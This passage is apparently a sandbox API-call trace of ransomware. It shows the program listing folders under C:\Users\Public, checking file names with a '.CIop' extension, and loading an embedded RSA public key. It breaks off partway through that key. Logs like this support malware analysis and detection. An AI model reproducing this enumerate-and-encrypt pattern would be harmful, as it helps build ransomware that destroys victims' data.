lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.693] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0107.693] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0107.693] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.693] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.694] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.694] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.694] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.694] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.694] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 0 [0107.694] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.694] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0107.694] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0107.694] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.694] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.694] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0107.694] SetErrorMode (uMode=0x1) returned 0x1 [0107.694] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0107.694] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0107.694] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0107.694] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0107.694] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.694] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0107.694] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0107.694] lstrlenW (lpString="Desktop") returned 7 [0107.694] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.694] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0107.694] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0107.694] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.694] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0107.694] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0107.694] lstrlenW (lpString="Desktop") returned 7 [0107.694] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.695] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.695] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.695] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0107.695] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0107.695] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.695] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.695] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.695] SetErrorMode (uMode=0x1) returned 0x1 [0107.695] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.695] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0107.695] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0107.695] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0107.695] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.702] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0107.702] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.702] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.702] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.702] lstrlenW (lpString="desktop.ini") returned 11 [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.702] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.702] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.703] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.703] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.703] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0107.703] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.704] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0107.704] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0107.704] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.704] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.704] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.704] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.704] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.704] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.704] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0107.704] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0107.704] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.704] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0107.704] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0107.704] SetErrorMode (uMode=0x1) returned 0x1 [0107.704] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0107.704] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0107.704] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0107.704] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0107.704] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.704] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0107.704] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0107.704] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.704] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.704] lstrlenW (lpString=".CIop") returned 5 [0107.704] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.704] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0107.704] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0107.704] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.705] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0107.705] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0107.705] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.705] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.705] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.705] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.705] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0107.705] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0107.705] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.705] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0107.705] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0107.705] SetErrorMode (uMode=0x1) returned 0x1 [0107.705] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0107.705] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0107.705] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0107.705] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0107.705] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.705] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0107.705] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0107.705] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.705] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.705] lstrlenW (lpString=".CIop") returned 5 [0107.705] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.705] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.705] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.705] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0107.705] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0107.705] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.705] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0107.705] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0107.705] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.706] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0107.706] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0107.706] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0107.706] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0107.706] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0107.706] SetErrorMode (uMode=0x1) returned 0x1 [0107.706] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0107.706] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0107.706] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0107.706] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0107.706] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.706] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0107.706] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0107.706] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.706] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.706] lstrlenW (lpString=".CIop") returned 5 [0107.706] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0107.706] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0107.706] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.706] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0107.706] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0107.706] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.706] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.706] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.707] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.707] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.707] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0107.707] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0107.707] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.707] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.707] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0107.707] SetErrorMode (uMode=0x1) returned 0x1 [0107.707] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0107.707] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0107.707] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0107.707] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0107.707] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.708] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0107.708] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0107.708] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.708] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.708] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.708] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.708] lstrlenW (lpString="desktop.ini") returned 11 [0107.708] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.708] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.708] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 0 [0107.708] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0107.708] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0107.708] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.708] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0107.708] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0107.708] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.708] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.708] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.708] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.709] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.709] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.709] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.709] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0107.709] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0107.709] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.709] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.709] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0107.709] SetErrorMode (uMode=0x1) returned 0x1 [0107.709] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0107.709] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0107.709] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0107.709] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0107.709] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.709] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0107.709] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0107.709] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.709] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.709] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.709] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.709] lstrlenW (lpString="desktop.ini") returned 11 [0107.709] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.709] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1 [0107.709] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1 [0107.709] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\Public\\Libraries\\") returned 30 [0107.709] Sleep (dwMilliseconds=0xd) [0107.735] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm 